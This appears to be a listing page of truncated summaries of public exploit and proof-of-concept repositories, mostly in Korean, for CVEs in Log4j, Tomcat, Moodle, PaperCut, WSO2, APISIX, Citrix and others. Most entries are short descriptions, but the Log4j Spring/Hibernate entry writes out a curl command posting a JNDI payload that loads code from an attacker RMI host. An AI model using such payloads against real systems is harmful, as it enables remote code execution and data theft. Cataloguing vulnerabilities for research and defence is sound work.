CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE Descripción de NVD Esto afecta al paquete xmlhttprequest anterior a la versión 1.7.0; todas las versiones del paquete xmlhttprequest-ssl. Siempre que las solicitudes se envíen de forma síncrona async=False en xhr.open, la entrada maliciosa del usuario que...

CVE-2024-50379-POC

CVE-2024-50379 악용 및 POC 이 저장소는 Apache Tomcat에 영향을 미치는 취약점인 CVE-2024-50379 에 대한 개념 증명POC을 포함합니다. 이 문제는 TOCTOUTime-of-Check Time-of-Use 경쟁 조건 과 관련되어 있으며, 특히 Windows와 같은 대소문자를 구분하지 않는 파일 시스템에서 원격 코드 실행RCE으로 이어질 수 있습니다. 목차 설명 POC 사용 방법 보안 고려 사항 라이선스 설명 CVE-2024-50379는 Apache Tomcat의 취약점으로, 공격자가 TOCTO...

Moodle-CVE-2024-43425-Exploit

Moodle RCE 익스플로잇 CVE-2024-43425 이 저장소는 Moodle CVE-2024-43425의 원격 코드 실행 RCE 취약점을 대상으로 하는 Python 익스플로잇 스크립트를 포함하고 있습니다. 면책: 이 도구는 교육 및 연구 목적으로만 있는 그대로 제공됩니다. 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 작성자는 이 스크립트의 오용으로 인한 손해나 법적 문제에 대해 책임을 지지 않습니다. 질문 ID 추출 실패 오류: 질문 생성 페이지에 접근하여 값을 확인하세요. categories HTML 태그에...

CVE-2023-27350

CVE-2023-27350 CVE-2023-27350에 영향을 받는 PaperCut MF/NG를 위한 POC 기술적 분석 취약점의 기술적 근본 원인 분석, 침해 지표, 인터넷 노출 현황은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise 요약 이 POC는 인증 우회 취약점과 내장 스크립팅 기능 악용을 연쇄적으로 사용하여 코드를 실행합니다. 사용법 root@kitploit: python3...

SAP_EEM_CVE-2020-6207

CVE-2020-6207 에 대한 PoC SAP Solution Manager의 인증 확인 누락 이 스크립트는 SAP Solution Manager에 연결된 SAP SMDAgent에서 RCE로 이어지는 SAP EEM 서블릿tcsmdagentapplicationeem의 인증 확인 누락을 확인하고 악용할 수 있게 해줍니다. 원본 발견: Pablo Artuso Yvan 'iggy' G 논문: An Unauthenticated Journey to Root :Pwning Your Company's Enterprise Software...

log4j2-rce-poc

Log4j2 RCE 취약점 PoC Log4j2 JNDI 원격 코드 실행RCE 취약점CVE-2021-44228에 대한 최소한의 개념 증명PoC입니다. 이는 보안 연구원이 아닌 사람들이 그 작동 방식과 영향이 얼마나 큰지 이해하도록 돕기 위한 교육 목적으로 작성되었습니다. 이 PoC는 com.sun.jndi.rmi.object.trustURLCodebase 및 com.sun.jndi.cosnaming.object.trustURLCodebase 속성을 true로 설정해야 하는 요구 사항을 우회하며, 해당 속성은 8u121, 7u13...

CVE-2023-36158

CVE-2023-36158 sourcecodester Toll Tax Management System 1.0에 존재하는 Cross Site Scripting XSS 취약점으로, 원격 공격자가 My Account 페이지의 First Name 및 Last Name 필드를 통해 임의 코드를 실행할 수 있습니다...

CVE-2018-7750

CVE-2018-7750 CVE-2018-7750의 RCE원격 명령 실행 접근 방식 익스플로잇 제목: Paramiko 2.4.1 - 원격 코드 실행 날짜: 2018-11-06 익스플로잇 작성자: jm33-ng 공급업체 홈페이지: https://www.paramiko.org 소프트웨어 링크: https://github.com/paramiko/paramiko/archive/2.4.0.tar.gz 버전: 1.17.6, 1.18.x 1.18.5, 2.0.x 2.0.8, 2.1.x 2.1.5, 2.2.x 2.2.3, 2.3.x 2.3....

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate 이 POC는 Spring / Hibernate를 사용하지만, rmi - 역직렬화와 유사한 접근 방식으로 모든 역직렬화 취약점을 트리거하는 데 사용될 수 있습니다 TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 피해자의 /etc/passwd 내용이...

CVE-2024-10542

CVE-2024-10542 및 CVE-2024-10781의 PoC: CleanTalk 플러그인 = 6.43.2의 스팸 보호, 안티스팸, 방화벽에서의 인증 우회Broken Authentication 면책 조항: 본 문서에서 CVE-2024-10542와 관련하여 제공되는 정보는 학습 및 교육 목적으로만 제공됩니다. 우리는 이 정보를 악용, 시스템 변조, 기타 불법 활동을 포함하되 이에 국한되지 않는 유해한 목적으로 사용하는 것을 권장하거나 승인하지 않습니다. 소개: 점점 더 복잡해지는 디지털 환경에서 웹사이트의 보안을 보장하는 것...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery Controller および Citrix Gateway におけるリモートコード実行 RCE Citrix Application Delivery Controller（ADC、旧 NetScaler ADC）および Citrix Gateway（旧 NetScaler Gateway）に脆弱性が確認されました。この脆弱性が悪用された場合、認証されていない攻撃者が任意のコード実行を行う可能性があります。 追記 : Fireeye による CVE-2019-19781 の侵害指標（IOC）スキャナー ...

cve-2021-44228-rce-poc

CVE-2021-44228 원격 명령 실행 PoC 이 저장소는 log4j를 포함하는 취약한 애플리케이션에 사용자 정의 익스플로잇을 로드하는 공격 서버 구현을 제공하여 보안 연구자들이 원격 코드 실행을 실험할 수 있도록 합니다. ⚠️ 이 도구는 자체 평가를 위한 것이며 승인된 사람이나 연구자만 사용해야 합니다. 명시적 허가 또는 권한이 있는 시스템에서만 테스트해야 합니다. 취약한 애플리케이션이나 라이브러리를 발견한 경우, 책임 있는 공개를 수행해야 합니다. RCE 단계 CVE-2021-44228은 로그에 JNDI LDAP 문자열을...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System 제어 소프트웨어 settimezone RCE 취약점 CVE-2023-28343 중국어 이름: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS 점수:9.0 설명 : Altenergy Power System Control Software는 Altenergy Power System의 마이크로인버터 제어 소프트웨어입니다. 영향 : AlAltenergy Power Syst...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 익스플로잇 및 분석. 세부 사항 CVE-2022-29464는 Orange Tsai가 발견한 WSO2의 치명적인 취약점입니다. 이 취약점은 인증되지 않은 무제한 임의 파일 업로드로, 인증되지 않은 공격자가 악성 JSP 파일을 업로드하여 WSO2 서버에서 RCE를 얻을 수 있습니다. 취약한 업로드 경로는 /fileupload이며, 이는 FileUploadServlet 서블릿에 의해 처리됩니다. 그리고 이것은 indentity.xml 구성 파일에서 볼 수 있듯이...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 익스플로잇/PoC Apache Tomcat 9.0.1 베타 / 8.5.23 / 8.0.47 / 7.0.8 - JSP 업로드 우회 / 원격 코드 실행 Python3용 원본 스크립트를 Python 3와 호환되도록 몇 가지 조정만 했습니다. 문제나 이슈가 있을 경우, 언제든지 이메일 [email protected]로 연락주세요. 또는 원하시면 저에게 연락하셔도 됩니다. 이메일을 판단하지 마세요, 임시용으로 사용됩니다 사용 방법 ./cve-2017-12617.py options 옵션: ...

cve-2022-27438

CVE-2022-27438 Caphyon Ltd Advanced Installer 19.3 "CustomDetection" 업데이트 확인 원격 코드 실행 취약점 사용법: python3 cve-2022-27438poc.py 세부 정보는 gerr.re의 보고서에 있습니다. 재현 단계 다른 영향을 받는 제품의 경우 업데이트 서버와 업데이트 구성 파일 이름을 변경해야 합니다. 이러한 파일은 일반적으로 응용 프로그램 설치 디렉터리의 업데이터 .ini에서 찾을 수 있습니다. 1. Advanced Installer 19.3을 설치합니다; ...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 설정 CVE-2018-11235-Git PoC 및 Docker ngrok을 이용한 터널링 Dockerfile 빌드 root@kitploit: $ docker build -t cve-2018-11235 . ngrok용 사용자 지정 네트워크 생성 root@kitploit: $ docker network create myngroknet Git HTTP 서버 시작 root@kitploit: $ docker run -d -p 8080:80 --net...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

cve-2022-24112

Apache APISIX 2.12.1 원격 코드 실행 및 Docker 랩 git clone을 사용하여 이 저장소를 클론한 다음 apisix-docker/examples로 이동할 수 있습니다. 이 docker-compose.yml 파일에서 이미 image: apache/apisix:2.12.0-alpine으로 변경했는데, 이 버전에 취약점이 있기 때문입니다. 그런 다음 docker compose를 사용하여 설치합니다. docker-compose를 통한 빠른 시작: docker-compose로 모든 모듈을 시작할 수 있습니다...

CVE-2023-22047

Description: CVE-2023-22047은 Oracle PeopleSoft에서 인증 없이 파일을 읽을 수 있는 취약점입니다. 그러나 고급 익스플로잇 공격자는 이 취약점을 사용하여 원격 코드 실행을 수행할 수 있습니다. Peoplesoft 애플리케이션 "Portal.war"의 서블릿 "WSRP Consumer ResourceProxy"는 파일을 읽고 모든 호스트에 요청SSRF을 보낼 수 있는 기능을 제공합니다. 이 취약점을 통해 공격자는 영향을 받는 서버에서 쉽게 원격 코드 실행RCE을 달성할 수 있으며, 이는 실제...